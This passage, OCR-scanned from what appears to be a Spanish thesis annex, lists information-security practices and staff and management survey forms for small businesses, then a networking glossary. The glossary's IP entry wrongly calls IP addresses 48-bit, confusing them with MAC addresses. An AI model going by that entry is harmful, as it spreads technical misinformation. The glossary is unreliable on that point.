seguridad de la informacion.

SP3.4 Existen niveles requeridos para el manejo de la informacién, estos se

aplican al personal para su documentacion y cumplimiento.

SP3.5 La empresa administra los riesgos de la seguridad de la informacion a

través de:

o

La evaluacion de riesgos para la seguridad de la informacién de
manera periodica y responden ante los cambios de la tecnologia, asi
como amenazas internas y externas.

Las medidas para mitigar los riesgos cuentan con un nivel aceptable.
El mantenimiento cuenta con un nivel aceptable de riesgo.

Se aplican evaluaciones de riesgos de seguridad con la finalidad de
escoger la medida mas acorde al equilibrio de costos contra pérdidas

potenciales.

SP3.6 Se reciben y actian sobre informes de rutina en base a resultados de:

o

o

Revision de los registros del sistema.

Revision de los registros de auditoria.

Evaluacion de la vulnerabilidad tecnoldgica.
Incidentes de seguridad y las respuestas ante ellos.
Evaluacion de riesgos.

Revision de la seguridad fisica.

Planes y recomendaciones de la mejora de seguridad.




Practicas Estratéqgicas

Politicas y regulaciones de seguridad (SP4)

SP4.1 La empresa cuenta con un conjunto amplio de politicas documentadas
gue son revisadas y actualizadas constantemente las cuales son:

o Estrategias y gestion de la seguridad.

o Gestion de riesgos de seguridad.

o Seguridad fisica.

o Sistemay gestion de la red.

o Herramientas de administracion.

o Seguimiento y auditoria.

o Autenticacion y autorizaciones.

o Gestion de vulnerabilidades.

o Encriptacion

o Arquitectura de seguridad y disefio.

o Administracion de incidentes.

o Practicas de seguridad personal.

o Leyesy reglamentos aplicables.

o Sensibilizacién y formacion,

o Seguridad de la informacion de colaboracion.

o Planificacion de contingencia y recuperacion ante desastres.

SP4.3 La empresa cuenta con un proceso documentado para la evaluacion
periddica del cumplimiento de las politicas de seguridad de la informacion

incluyendo leyes y reglamentos.

Practicas Estratéqgicas

Gestidn de la seguridad de colaboracion (SP5)

SP5.1 La empresa documenta y monitorea la informacion cuando se trabaja

con organizaciones externas con el fin de protegerla.




Practicas Estratéqgicas

Planificacion de contingencia ante desastres y recuperacion (SP6)

SP6.1 Se ha realizado un analisis de las operaciones, aplicaciones y

criticidad de los datos.

SP6.2 La empresa documenta lo siguiente:
o Planes de operaciones de emergencia.
o Plan de recuperacion ante desastres.

o Plan de contingencia para responder ante emergencias.

SP6.5 El personal es consciente de:
o Planes de contingencia, recuperacion de desastres y continuidad del
negocio.

o Entienden y son capaces de llevar acabo responsabilidades.

PRACTICAS OPERACIONALES

Practicas Operacionales

Tecnologia de la informacion de Seguridad (OP-2.1)

Gestion de la Red

OP2.1.1 Estan o no documentados planes de seguridad que salvaguarden
los sistemas y redes

o

OP2.1.2 Los planes son revisados de manera perioddica, aprobados y

actualizados.

OP2.1.4 La integridad del software se verifica regularmente.

OP2.1.5 Todos los sistemas estan al dia con respecto a revisiones, parches y

recomendaciones de avisos de seguridad.

OP2.1.6 Existe un plan para copias de seguridad estos son:
o Actualizaciones rutinarias.

o Se prueban de manera periodica.




o Se realizan copias de seguridad de forma regular del software como
de los datos.

o Se realizan pruebas periddicas y verificacion para comprobar la
restauracion de las copias de seguridad.

OP2.1.8 Los cambios realizados en el hardware y software de Tl son

controlados y documentados.

OP2.1.9 Los miembros del personal de Tl utilizan procedimientos al emitir
cambios, eliminacion de usuarios, contrasefas, cuentas y privilegios.
o Se utiliza una Unica autenticacion de usuario para todos los usuarios
del sistema, se incluyen a usuarios de terceros.
o Cuentas por defecto y contrasefias del sistema se han eliminado de

estos.

OP2.1.10 Los servicios necesarios se estan ejecutando en sistemas, los

demas se han eliminado o desactivado.

Practicas Operacionales

Tecnologia de la informacion de Seguridad (OP-2.3)

Seguimiento y auditoria de TI

OP2.3.1 Herramientas del sistema y monitoreo de la red son habitualmente
utilizados por la empresa para:
o Actividades supervisadas por el personal de TI.
o Actividades de la red y el sistema se registra.
o Los registros son revisados de forma regular.
o Laactividad inusual es tratada de acuerdo con las politicas o
procedimientos apropiados.

o Las herramientas son revisadas y actualizadas de manera periédica.

Practicas Operacionales

Tecnologia de la informacion de Seguridad (OP-2.4)

Autenticacion y Autorizacion




OP2.4.1 Se aplican controles de acceso apropiados y autenticacion de
usuarios como permisos de archivos y relacionados con las politicas cuyo
objetivo es restringir el acceso a usuarios a:

o Informacion.

o Utilidades del sistema.

o Cadigo fuente del programa.

o Sistemas sensibles.

o Aplicativos y servicios especificos.

o Conexiones de red dentro de la empresa.

o Conexiones de red desde afuera de la empresa.

Practicas Operacionales

Tecnologia de la informacion de Seguridad (OP-2.6)
Cifrado

OP2.6.1 Se aplican controles de seguridad adecuados para proteger la
informacion sensible, durante la transmisién, almacenamiento esto incluye:
o Cifrado de datos durante la transmision.
o Cifrado de datos cuando se escriben en el disco.
o Eluso de lainfraestructura.
o Tecnologia de red privada virtual.

o Cifrado para toda la transmision a través de internet.

Practicas Operacionales

Tecnologia de la informacion de Seguridad (OP-2.7)

Arquitectura de Seguridad y Disefio

OP2.7.2 La empresa cuenta con los diagramas de arquitectura y topologia de

red actualizados que demuestran la seguridad en toda la empresa.




Practicas Operacionales

Tecnologia de la informacion de Seguridad (OP-3)

Gestion de Incidentes

OP3.1.1 Existen procedimientos documentados para identificar, informar y

responder a incidentes y violaciones de seguridad eso incluye:

(@]

(@]

o

Incidentes basados en la red.
Incidentes de acceso fisico.
Incidentes de Ingenieria Social.

Practicas Operacionales

Tecnologia de la informacion de Seguridad (OP-3)

Personal en General

OP3.2.1 Los miembros del personal siguen buenas practicas de seguridad,

tales como:

o

(@]

La obtencion de informacién de las que son responsables.

No divulgacion de informacion sensible a los demés, resistencia a la
ingenieria social.

Tener la capacidad suficiente para utilizar la informaciéon de hardware
y software de tecnologia.

El uso de las buenas préacticas de contrasefas.

El reconocimiento y la comunicacion de incidentes.

OP3.2.3 Hay procedimientos documentados para autorizar y supervisar al

personal que trabaja con informacion sensible o que laboran en lugares

donde reside la informacion, esto incluye:

o

o

©)

Empleados.
Contratistas, socios, colaboradores.

Personal de mantenimiento.




Anexo 2 — Formato de Encuestas Directivos, Techologias, Personal

General

ENCUESTA DIRECCION GENERAL

Practica ¢Es utilizada esta practica por su

empresa?

La conciencia de la seguridad
e Los miembros del personal Sl NO NO SABE

comprenden sus roles y

responsabilidades de seguridad.

e Es necesaria una experiencia para la Sl NO NO SABE
manipulacion de los servicios y

tecnologias.

Estrategias de Seguridad

e Las estrategias del negocio de la Sl NO NO SABE
empresa se incorporan de forma

rutinaria con las consideraciones de

seguridad.
Gestion de Seguridad
e Seasignan los recursos necesarios y Sl NO NO SABE
suficientes para actividades

relacionadas con la seguridad de la
informacion.
e Los roles y responsabilidades de Sl NO NO SABE

seguridad se definen para todo el

personal de la empresa.

ENCUESTA DIRECCION GENERAL

Préactica ¢Es utilizada esta préactica por su

empresa?

Gestion de Seguridad (Continuacion)

e Laempresaadministralos riesgos de SI NO NO SABE
seguridad de la informacién, estos
incluyen:

o Laevaluacion de riesgos para
la seguridad de la

informacion.




o Se toman medidas para
mitigar los riesgos de

seguridad de la informacion.

e Se recibe y actua sobre los informes Sl NO NO SABE
de rutina los cuales resume la
informacién relacionada con la
seguridad (Auditorias, riesgos,

evaluaciones y vulnerabilidades).

Politicas y normas de Seguridad

e La empresa cuenta con un amplio Sl NO NO SABE
conjunto de politicas documentas,
son revisadas y actualizadas de

manera periddica.

e La empresa cuenta con un proceso Sl NO NO SABE
documentado  para evaluar vy
garantizar el cumplimiento de las
politicas de seguridad de la

informacion, leyes y reglamentos.

ENCUESTA DIRECCION GENERAL

. .. ¢Es utilizada esta
Practica e
préctica por su empresa?

Gestién de Seguridad — Externos

e Laempresa cuenta con politicas y procesamiento
para proteger la informacidon cuando se trabaja
con organizaciones externas (Colaboradores,
externos o socios), incluyen:

o Proteger lainformaciéon que pertenece a
Sl NO NO

otras organizaciones.
SABE

o Lacomprension de las politicas y
procedimientos de las organizaciones
externas.

o Elacceso alainformacién por el personal

externo.

Planificacion de contingencias y recuperacion ante desastres

e Se harealizado un analisis de las operaciones, las Sl NO NO

aplicaciones y la criticidad de los datos. SABE




e Los planes de contingencia, recuperacion ante
o ) o Sl NO NO
desastres y servicios consideran requisitos y
- o SABE
controles a accesos fisicos y electrénicos.
e Todo el personal es:
o Consiente de la contingencia, recuperacion
de desastres y planes de continuidad del Sl NO NO
negocio. SABE
o Capaz de entender y llevar a cabo sus
responsabilidades.

Direccion Operativa Tl y personal general

ENCUESTA PERSONAL

Practica ¢Es utilizada esta practica

por su empresa?

Formacion y Conciencia de la Seguridad

e ElI personal comprende sus roles vy SI NO NO
responsabilidades de seguridad. SABE

e No es necesaria la experiencia, mecanismos y Sl NO NO
tecnologia pueden ser operadas de manera SABE
segura.

e Se aplica la concienciacién, recordatorios, Sl NO NO
formacion de todo el personal sobre la SABE

seguridad, ademas se verifica esto de forma

periodica.
Gestion de Seguridad
e Es consiente que se asignan los recursos Sl NO NO
necesarios para las actividades de seguridad. SABE
e Los roles y responsabilidades de seguridad se Sl NO NO
definen para todo el personal de la empresa. SABE
e La empresa administra los riesgos de SI NO NO
seguridad de la informacién incluidos: SABE

o Laevaluacion de riesgos.
o Tomar medidas para mitigar los riesgos

de seguridad.

Politicas y normas de seguridad




e La empresa cuenta con un amplio conjunto de SI NO NO
politicas que estan debidamente documentas, SABE

actualizadas, revisadas de forma periodica.

ENCUESTA PERSONAL

Practica ¢Es utilizada esta préactica

por su empresa?

Formacion y Conciencia de la Seguridad

e EI personal comprende sus roles vy Sl NO NO
responsabilidades de seguridad. SABE

e No es necesaria la experiencia, mecanismos y Sl NO NO
tecnologia pueden ser operadas de manera SABE
segura.

e Se aplica la concienciacién, recordatorios, SI NO NO
formacion de todo el personal sobre la SABE

seguridad, ademas se verifica esto de forma

periodica.
Gestién de Seguridad
e Es consiente que se asignan los recursos SI NO NO
necesarios para las actividades de seguridad. SABE
e Losroles y responsabilidades de seguridad se Sl NO NO
definen para todo el personal de la empresa. SABE
e La empresa administra los riesgos de SI NO NO
seguridad de la informacién incluidos: SABE

o Laevaluacion de riesgos.

o Tomar medidas para mitigar los riesgos

de seguridad.

Politicas y normas de seguridad

e Laempresa cuenta con un amplio conjunto de SI NO NO
politicas que estan debidamente documentas, SABE

actualizadas, revisadas de forma periédica.




ENCUESTA PERSONAL

Practica ¢Es utilizada esta practica

por su empresa?

Formacion y Conciencia de la Seguridad

e ElI personal comprende sus roles vy Sl NO NO
responsabilidades de seguridad. SABE

e No es necesaria la experiencia, mecanismos y Si NO NO
tecnologia pueden ser operadas de manera SABE
segura.

e Se aplica la concienciacién, recordatorios, SI NO NO
formacion de todo el personal sobre la SABE

seguridad, ademas se verifica esto de forma

periddica.
Gestion de Seguridad
e Es consiente que se asignan los recursos Sl NO NO
necesarios para las actividades de seguridad. SABE
e Losroles y responsabilidades de seguridad se Sl NO NO
definen para todo el personal de la empresa. SABE
e La empresa administra los riesgos de SI NO NO
seguridad de la informacién incluidos: SABE

o Laevaluacién de riesgos.
o Tomar medidas para mitigar los riesgos

de seguridad.

Politicas y normas de seguridad

e Laempresa cuenta con un amplio conjunto de SI NO NO
politicas que estan debidamente documentas, SABE

actualizadas, revisadas de forma periédica.

ENCUESTA PERSONAL

Practica ¢Es utilizada esta

préctica por su empresa?

Politicas y Normas de Seguridad

e La empresa cuenta con un amplio conjunto de SI NO NO
politicas documentadas, actuales que son SABE

revisadas y actualizadas de manera periodica.

o Existe un proceso documentado para la gestion de Sl NO NO

politicas de seguridad, eso incluye SABE




o Creacion.
o Administracién (Revisiones y
actualizaciones periodicas).

o Comunicacion.

e La empresa aplica uniformemente sus politicas de SI NO NO
seguridad. SABE
Gestién de Seguridad de Colaboracion
e La empresa cuenta con politicas y procedimientos SI NO NO
para proteger la informacién cuando se trabaja con SABE

organizaciones externas. (Terceros, colaboradores,
subcontratistas o socios).

o Proteger la informacion que pertenece a
otras organizaciones.

o Comprension de las politicas vy
procedimientos de las organizaciones de
seguridad externos.

o Concluir con el acceso a la informacion por
parte del personal externo una vez que se

haya terminado su relacion laboral.

Planificaciéon de contingencia/ recuperacion de desastres

e Todo el personal es: SI NO NO

o Consciente de la contingencia, SABE

recuperacion de desastres y planes de
continuidad de negocio.

o Entender y ser capaces de llevar acabo sus

responsabilidades.

ENCUESTA PERSONAL

Préactica ¢Es utilizada esta préctica

por su empresa?

Planes de seguridad fisica y procedimientos

e Existen planes de seguridad y procedimientos SI NO NO
para salvaguardar locales, edificios y estos estan SABE

debidamente documentados y probados.

e Existen politicas y procedimientos documentados SI NO NO

para la gestién de visitantes. SABE




e Existen politicas y procedimientos SI NO NO
documentados para el control fisico de SABE

hardware y software.

Control de Acceso Fisico

Existen politicas y procedimientos SI NO NO
documentados para controlar el acceso fisico a SABE
dispositivos de hardware (Ordenadores) y

medios de software (programas informéaticos).

Existen estaciones de trabajo y otros SI NO NO
componentes tecnolégicos que permiten SABE
acceder ainformacion sensible, ademas
cuentan con la proteccion necesaria para el

acceso no autorizado.

ENCUESTA PERSONAL

Préactica ¢ Es utilizada esta

practica por su

empresa?
Administracion de Incidentes
Existen procedimientos documentados para Sl NO NO
identificar, informar y responder a sospechas SABE
de seguridad como incidentes o irrupciones.
Practicas Generales del Personal
Los miembros del personal siguen las buenas Sl NO NO
practicas tales como: SABE

Manejar la informacion de forma responsable.
No divulgar la informacion sensible a los
demés (Resistencia Ingenieria Social).

Cuentan con la suficiente capacidad para

utilizar la informacion de hardware y software.




El uso de buenas practicas con las
contrasenfas.

Entender y seguir las politicas y normas de
seguridad.

El reconocimiento y comunicacion de

incidentes.
Existen procedimientos documentados para Sl NO NO
autorizar y supervisar atodo el personal que SABE

trabajan con informacion confidencial sensible
0 que trabajan en lugares donde reside

informacion critica.

GLOSARIO DE TERMINOS

PYME: Del acronimo PME significa pequefia y mediana empresa compuesta por

un numero corto de trabajadores con un nivel de ingresos moderado.

MAC: Es una direccion que permite identificar a una tarjeta o dispositivo de red

Unica para cada dispositivo y definida por la IEEE.

DHCP: Es un protocolo de red el cual permite asignar una direccién IP de manera
dindmica y otros parametros de configuracion a un dispositivo que se conecta a

una red.

IP: Es una direccion o numero que permite identificar a un dispositivo en una red,

utiliza el modelo TCP/IP y utiliza un modelo de 48 bits.

WLAN: De su traduccion Red de area local inaldmbrica, es un sistema de
comunicacién que permite conectar a varios dispositivos a una red sin la

necesidad de un medio fisico.

WIFI: Es una tecnologia que permite la interconexion de forma inaldmbrica de
una gran cantidad de dispositivos electronicos a una red o punto de acceso para

disfrutar del servicio de internet.



WEP: Es un protocolo de redes inalambricas que permite cifrar la informacion
durante su transporte, actualmente no se considera un protocolo seguro debido

a sus falencias en seguridad por lo que puede ser descifrado con facilidad.

SSID: Es una secuencia de 0-32 octetos la cual permite identificar una red

inalambrica.

DNS: Permite traducir de un nombre legible a una direccién IP, convierte los

nameros en un nombre de dominio permitiendo que sea mas facil recordarlo.

WHOIS: Es un protocolo TCP que permite realizar consultas en una base de

datos la informacién del propietario de un nombre de dominio o direccion IP.

ADSL: Es una tecnologia que permite la transmision de datos digitales a través
de cable par de cobre utilizada por una linea telefénica.

VLANS: Es un método el cual permite crear redes l6gicas independientes dentro
de una misma red fisica, ayuda a separar departamentos en una red empresarial

limitando su difusién unas con otras.

ERP: Es un sistema que integra y maneja diferentes areas de una empresa en
un solo software a través de moddulos permitiendo obtener una mayor

retroalimentacion.

ISP: Conocido también como proveedor de servicios de internet, brinda una
conexién a internet permitiendo que sus clientes puedan conectarse a través de

cualquier tecnologia como ADSL, fibra, cable, etc.

POS: Es la abreviatura a Punto de Venta o local comercial el cual atiende a sus

clientes con la finalidad de vender sus productos o prestar algun servicio.

TCP: Conocido como protocolo de control de transmision, este protocolo permite
la comunicacion entre computadores de una red, ademas garantiza que los datos
sean entregados sin errores, ademas permite identificar diferentes aplicaciones

a través de puertos.



UDP: Es un protocolo el cual permite enviar datagramas a través de una red sin
gue necesariamente se haya establecido una conexién previa, su utilidad radica

en la transmision de audio y video donde la transmision no es estricta.

HTTP: Es un protocolo de transmision de informacién a través de la World Wide
Web, permite la comunicacion entre computadores y hablen el mismo idioma al

utiliza la red.

UNIX: Es un sistema operativo que fue desarrollado por los laboratorios de AT&T

en la década de los 70.

RDP: Es un protocolo creado por Microsoft el cual permite la comunicacion entre
una aplicacion a través de un terminal, permite representar informacion grafica a
través de la red y reconstruir la imagen en otro computador permitiendo captar

asi sus pulsaciones y movimientos.

SAMBA: Es un protocolo que permite el intercambio de archivos compartidos

desde Microsoft Windows a sistemas operativos basados en UNIX.

NIS: Conocido como sistema de informacion de red, es un protocolo de servicios
de directorios cliente —servidor el cual permite €l envié de nombres de usuarios

y host de computadoras a través de una red.

SYSTEMS32: Es una carpeta que almacena una gran cantidad de bibliotecas o
librerias las cuales son utilizadas por los programas de Windows y de los cuales

les permite realizar una gran cantidad de funciones dentro del sistema operativo.

CMD: Conocido como el simbolo del sistema, es un intérprete de comandos, las
ordenes enviadas desde una interfaz grafica son ejecutadas a través de este
interprete para realizar tareas y operaciones que son ejecutados mediante

scripts.

SHELL: Es un intérprete de érdenes, a través de este se pueden acceder a

varios de los servicios que provee un sistema operativo.



LAN: Red de area local que permite la comunicacién entre computadores,

generalmente esta configuracion se aplica en redes pequefias o de hogares.

BOTNET: Es un grupo de computadores infectados por medio de un malware y
cuyo objetivo es controlarlos de forma remota para realizar un ataque de DDos

denegacion de servicio distribuido.
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